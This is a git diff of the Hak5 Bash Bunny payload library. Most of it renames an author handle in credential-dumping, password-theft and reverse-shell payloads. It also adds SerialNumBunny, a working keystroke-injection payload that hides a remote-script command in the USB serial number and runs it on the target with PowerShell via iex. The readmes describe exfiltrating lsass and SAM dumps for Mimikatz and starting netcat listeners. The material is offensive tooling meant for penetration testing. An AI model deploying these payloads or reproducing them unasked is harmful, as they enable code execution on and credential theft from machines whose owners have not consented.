diff --git a/payloads/library/credentials/FireSnatcher/README.md b/payloads/library/credentials/FireSnatcher/README.md index 1d3b0dd02..d55eed6ec 100644 --- a/payloads/library/credentials/FireSnatcher/README.md +++ b/payloads/library/credentials/FireSnatcher/README.md @@ -1,7 +1,7 @@ # Title: FireSnatcher # Description: Copies Wifi Keys, and Firefox Password Databases # Author: KarrotKak3 -# Props: saintcrossbow & 0iphor13 +# Props: saintcrossbow & 0i41E # Version: 1.0.2.0 (Work in Progress) # Category: Credentials # Target: Windows (Logged in) diff --git a/payloads/library/credentials/FireSnatcher/payload.txt b/payloads/library/credentials/FireSnatcher/payload.txt index 143efd55a..3c1c4443a 100644 --- a/payloads/library/credentials/FireSnatcher/payload.txt +++ b/payloads/library/credentials/FireSnatcher/payload.txt @@ -1,7 +1,7 @@ # Title: FireSnatcher # Description: Copies Wifi Keys, and Firefox Password Databases # Author: KarrotKak3 -# Props: saintcrossbow & 0iphor13 +# Props: saintcrossbow & 0i41E # Version: 1.0.2.0 (Work in Progress) # Category: Credentials # Target: Windows (Logged in) diff --git a/payloads/library/credentials/HashDumpBunny/README.md b/payloads/library/credentials/HashDumpBunny/README.md index b1460dd57..905c12fbb 100644 --- a/payloads/library/credentials/HashDumpBunny/README.md +++ b/payloads/library/credentials/HashDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: HashDumpBunny** -Author: 0iphor13 +Author: 0i41E Version: 1.0 @@ -17,4 +17,4 @@ Place BunnyDump.bat in the same payload switch-folder as your payload.txt # Plug in BashBunny. Exfiltrate the out.txt file and try to crack the hashes. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) diff --git a/payloads/library/credentials/HashDumpBunny/payload.txt b/payloads/library/credentials/HashDumpBunny/payload.txt index f21e4a367..2e9e68431 100644 --- a/payloads/library/credentials/HashDumpBunny/payload.txt +++ b/payloads/library/credentials/HashDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: HashDumpBunny # Description: Dump user hashes with this script, which was obfuscated with multiple layers. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/MiniDumpBunny/README.md b/payloads/library/credentials/MiniDumpBunny/README.md index a6fba8e03..c314caf27 100644 --- a/payloads/library/credentials/MiniDumpBunny/README.md +++ b/payloads/library/credentials/MiniDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: MiniDumpBunny** -Author: 0iphor13 +Author: 0i41E Version: 1.0 @@ -14,4 +14,4 @@ What is MiniDumpBunny? Plug in your BashBunny equipped with the obfuscated MiniBunny.bat file, wait a few seconds, go away. # Exfiltrate the .dmp file and read it with Mimikatz. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/MiniDumpBunny/mimi.png) \ No newline at end of file +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/MiniDumpBunny/mimi.png) \ No newline at end of file diff --git a/payloads/library/credentials/MiniDumpBunny/payload.txt b/payloads/library/credentials/MiniDumpBunny/payload.txt index 2fc58a03f..467e748ac 100644 --- a/payloads/library/credentials/MiniDumpBunny/payload.txt +++ b/payloads/library/credentials/MiniDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: MiniDumpBunny # Description: Dump lsass with this script, which was obfuscated with multiple layers. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/ProcDumpBunny/README.md b/payloads/library/credentials/ProcDumpBunny/README.md index 31b9ef730..afcf570b1 100644 --- a/payloads/library/credentials/ProcDumpBunny/README.md +++ b/payloads/library/credentials/ProcDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: ProcDumpBunny** -Author: 0iphor13 +Author: 0i41E Version: 1.0 @@ -12,10 +12,10 @@ What is ProcDumpBunny? **Instruction:** Download ProcDump from Microsoft - https://docs.microsoft.com/en-us/sysinternals/downloads/procdump - rename the Executeable to Bunny.exe -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(38).png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(38).png) Place Bunny.exe in the same payload switch as your payload -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(37).png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(37).png) # Plug in BashBunny. Exfiltrate the out.dmp file and read it with Mimikatz. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(39).png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(39).png) diff --git a/payloads/library/credentials/ProcDumpBunny/payload.txt b/payloads/library/credentials/ProcDumpBunny/payload.txt index b0275b7e0..9480cf779 100644 --- a/payloads/library/credentials/ProcDumpBunny/payload.txt +++ b/payloads/library/credentials/ProcDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: ProcDumpBunny # Description: Dump lsass.exe with a renamed version of procdump -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/SamDumpBunny/README.md b/payloads/library/credentials/SamDumpBunny/README.md index 683fd00d2..6e64f4fa2 100644 --- a/payloads/library/credentials/SamDumpBunny/README.md +++ b/payloads/library/credentials/SamDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: SamDumpBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.0
@@ -21,4 +21,4 @@ Afterwards you can use a tool like samdump2 to extract the users hashes.

**!Disclaimer! samdump2 has proven to be unreliable in the recent past.** -![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) +![alt text](https://github.com/0i41E/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) diff --git a/payloads/library/credentials/SamDumpBunny/payload.txt b/payloads/library/credentials/SamDumpBunny/payload.txt index cc3120e33..a84d08de7 100644 --- a/payloads/library/credentials/SamDumpBunny/payload.txt +++ b/payloads/library/credentials/SamDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: SamDumpBunny # Description: Dump users sam and system hive and exfiltrate them. Afterwards you can use a tool like samdump2, to get the users hashes. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/SessionBunny/README.md b/payloads/library/credentials/SessionBunny/README.md index ae8d4d7a7..b8d453475 100644 --- a/payloads/library/credentials/SessionBunny/README.md +++ b/payloads/library/credentials/SessionBunny/README.md @@ -1,6 +1,6 @@ **Title: SessionBunny** -Author: 0iphor13 +Author: 0i41E (Credit for SessionGopher: Brandon Arvanaghi) Version: 1.0 @@ -19,4 +19,4 @@ Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt # Plug in BashBunny. Wait for the script to finish and decide what you wanna do with the information gathered -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) diff --git a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 index c7bd78185..568b324d6 100644 --- a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 +++ b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 @@ -43,7 +43,7 @@ o o_ / ". SessionGopher - ," _-" Bunny Edition (0iphor13) + ," _-" Bunny Edition (0i41E) ," m m ..+ ) Brandon Arvanaghi `m..m @arvanaghi | arvanaghi.com diff --git a/payloads/library/credentials/SessionBunny/payload.txt b/payloads/library/credentials/SessionBunny/payload.txt index 4531e181f..e07f9cf5b 100644 --- a/payloads/library/credentials/SessionBunny/payload.txt +++ b/payloads/library/credentials/SessionBunny/payload.txt @@ -1,7 +1,7 @@ #!/bin/bash # # Title: SessionBunny -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/execution/SerialNumBunny/1.PS1 b/payloads/library/execution/SerialNumBunny/1.PS1 new file mode 100644 index 000000000..620c62ba8 --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/1.PS1 @@ -0,0 +1,15 @@ +#This is just an example script, you may want to replace it with a script of your choice +$Picture=@" + + _____ _____ _____ _____ _____ _____ _____ _____ __ __ + (\___/) | __ || _ || __|| | | | __ || | || | || | || | | + (='.'=) | __ -|| ||__ || | | __ -|| | || | | || | | ||_ _| + (")_(") |_____||__|__||_____||__|__| |_____||_____||_|___||_|___| |_| + Bash Bunny by Hak5 USB Attack/Automation Platform + +"@ + +Sleep -s 5 +Write-Host -ForegroundColor red "$Picture" +Sleep -s 2 +Write-Host -ForegroundColor green "SerialNumBunny by 0i41E" \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/SerialNumBunny.png b/payloads/library/execution/SerialNumBunny/SerialNumBunny.png new file mode 100644 index 000000000..f03a1d773 Binary files /dev/null and b/payloads/library/execution/SerialNumBunny/SerialNumBunny.png differ diff --git a/payloads/library/execution/SerialNumBunny/payload.txt b/payloads/library/execution/SerialNumBunny/payload.txt new file mode 100644 index 000000000..3869c8d02 --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/payload.txt @@ -0,0 +1,46 @@ +#!/bin/bash +# +# Title: SerialNumBunny +# Description: Execute strings placed in the Bunny serial number +# Author: 0i41E +# Version: 1.0 +# Category: Execution +# Attackmodes: HID, RNDIS_ETHERNET + +# Starting as Ethernet device only first to get IP +LED SETUP +ATTACKMODE RNDIS_ETHERNET + +GET SWITCH_POSITION +GET HOST_IP + +# Switch to Ethernet & HID +LED Y +# Defining Device Identifiers - Serialnumber contains payload +ATTACKMODE RNDIS_ETHERNET HID VID_0XF000 PID_0X1234 MAN_HAK5 PROD_BASHBUNNY SN_IWR_-URI_HTTP://$HOST_IP/1.PS1 +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +#Opens hidden powershell instance +Q DELAY 1500 +Q GUI r +Q DELAY 500 +Q STRING "powershell" +Q DELAY 500 +Q ENTER + +Q DELAY 1000 +# Make sure that device ID matches what was defined above +Q STRING "((Get-PnpDevice -PresentOnly -Class USB | Where-Object { \$_.DeviceID -like \"*F000*\" } | ForEach-Object { (\$_).DeviceID -split '\\\\' | Select-Object -Last 1 }) -join '').Replace('_', ' ')|iex|iex" +Q DELAY 400 +Q ENTER +LED FINISH \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/readme.md b/payloads/library/execution/SerialNumBunny/readme.md new file mode 100644 index 000000000..1139e40a5 --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/readme.md @@ -0,0 +1,19 @@ +**Title: SerialNumBunny** + +

Author: 0i41E
+OS: Windows
+Version: 1.0
+ +**What is SerialNumBunny?** + +*It is pretty simple... The BashBunny enables you to set its USB identifiers. You can change VID, PID, Manufacturer and of course, the Serial number. Now we do the little trick here and place our payload within the serial number. Then starting a webserver on the Bunny, where a script is hosted and call the serial number via powershell on the target system. The content of the retrieved script is then executed on the target. Easy as that.* + +You can get pretty creative here, from basically calling basic powershell commands, up to this example where you execute remote scripts. + +**Instruction:** + +- Upload your script or the example provided onto your Bunnys switch folder. +- Plug in the Bunny and let the magic happen. +![SerialNumBunny](https://github.com/0i41E/bashbunny-payloads/assets/79219148/fa11d9b5-e2f2-45a9-a701-5a25220ca226) + +_Note: If you want to adapt your payload nested, in the serial number, you may need to stay in a certain character limit. In my case this was 40 characters. This might be different, depending on your target. Also make sure to replace spaces within the serial number with underscores._ diff --git a/payloads/library/exfiltration/WifiSnatch/payload.txt b/payloads/library/exfiltration/WifiSnatch/payload.txt index 45aa88ce4..42b6c249b 100644 --- a/payloads/library/exfiltration/WifiSnatch/payload.txt +++ b/payloads/library/exfiltration/WifiSnatch/payload.txt @@ -2,7 +2,7 @@ # # Title: WifiSnatch # Description: Extract wifi information, such as passphrases & SSIDs -# Author: 0iphor13 +# Author: 0i41E # Version: 1.1 # Category: Exfiltration # Attackmodes: HID, Storage diff --git a/payloads/library/prank/-BB-AcidBurn/README.md b/payloads/library/prank/-BB-AcidBurn/README.md index 9e799ed11..5b83236a1 100644 --- a/payloads/library/prank/-BB-AcidBurn/README.md +++ b/payloads/library/prank/-BB-AcidBurn/README.md @@ -105,7 +105,7 @@ Arf * [Hak5](https://hak5.org/) * [MG](https://github.com/OMG-MG) -* [0iphor13](https://github.com/0iphor13) +* [0i41E](https://github.com/0i41E) * [PhilSutter](https://github.com/PhilSutter) diff --git a/payloads/library/prank/-BB-JumpScare/README.md b/payloads/library/prank/-BB-JumpScare/README.md index 69ef63f2e..ece60b5da 100644 --- a/payloads/library/prank/-BB-JumpScare/README.md +++ b/payloads/library/prank/-BB-JumpScare/README.md @@ -93,7 +93,7 @@ I am Jakoby * [Hak5](https://hak5.org/) * [MG](https://github.com/OMG-MG) -* [0iphor13](https://github.com/0iphor13) +* [0i41E](https://github.com/0i41E) * [PhilSutter](https://github.com/PhilSutter) diff --git a/payloads/library/remote_access/PingZhellBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl index 4bac2738e..2a8358948 100644 --- a/payloads/library/remote_access/PingZhellBunny/Bunny.pl +++ b/payloads/library/remote_access/PingZhellBunny/Bunny.pl @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . # -# Modified by 0iphor13 for PingZhellBunny +# Modified by 0i41E for PingZhellBunny # # # diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index 6b190001e..93203488e 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -1,6 +1,6 @@ **Title: PingZhellBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.5
diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index 2690061a2..89617aac9 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: PingZhellBunny # Description: Getting remote access via ICMP -# Author: 0iphor13 +# Author: 0i41E # Version: 1.5 # Category: Remote_Access # Attackmodes: HID, RNDIS_ETHERNET diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md index d3b39a268..fd2a6b3dd 100644 --- a/payloads/library/remote_access/ReverseBunny/README.md +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -1,6 +1,6 @@ **Title: ReverseBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.5
@@ -8,7 +8,7 @@ Version: 1.5

!Getting remote access via obfuscated reverse shell!
Upload payload.txt and RevBunny.ps1 onto your Bunny -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunny/RevBunny.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunny/RevBunny.png) Change the variables in payload.txt to your attacking machine & start your listener. (for example netcat: nc -lvnp [PORT] )

diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt index 75d003cc1..fa5cd1cef 100644 --- a/payloads/library/remote_access/ReverseBunny/payload.txt +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: ReverseBunny # Description: Get remote access, using an obfuscated powershell reverse shell. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.5 # Category: Remote_Access # Attackmodes: HID, RNDIS_ETHERNET diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md index 63182453e..6d07da864 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/README.md +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -1,6 +1,6 @@ **Title: ReverseBunnySSL** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.2
For input and inspiration - Thanks to: Cribbit, sebkinne

@@ -26,5 +26,5 @@ I recommend openssl itself or ncat - Example syntax for both:
**Disclaimer: Because of obfuscation, it may take some time until the shell is fully executed by powershell** -![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/remote_access/ReverseCableSSL/CreateCert.png) -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png) +![alt text](https://github.com/0i41E/omg-payloads/blob/master/payloads/library/remote_access/ReverseCableSSL/CreateCert.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png) diff --git a/payloads/library/remote_access/ReverseBunnySSL/payload.txt b/payloads/library/remote_access/ReverseBunnySSL/payload.txt index 57358c050..c42c20911 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/payload.txt +++ b/payloads/library/remote_access/ReverseBunnySSL/payload.txt @@ -2,7 +2,7 @@ # # Title: ReverseBunnySSL # Description: Get remote access, using an obfuscated powershell reverse shell. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.2 # Category: Remote_Access # Attackmodes: HID, RNDIS_ETHERNET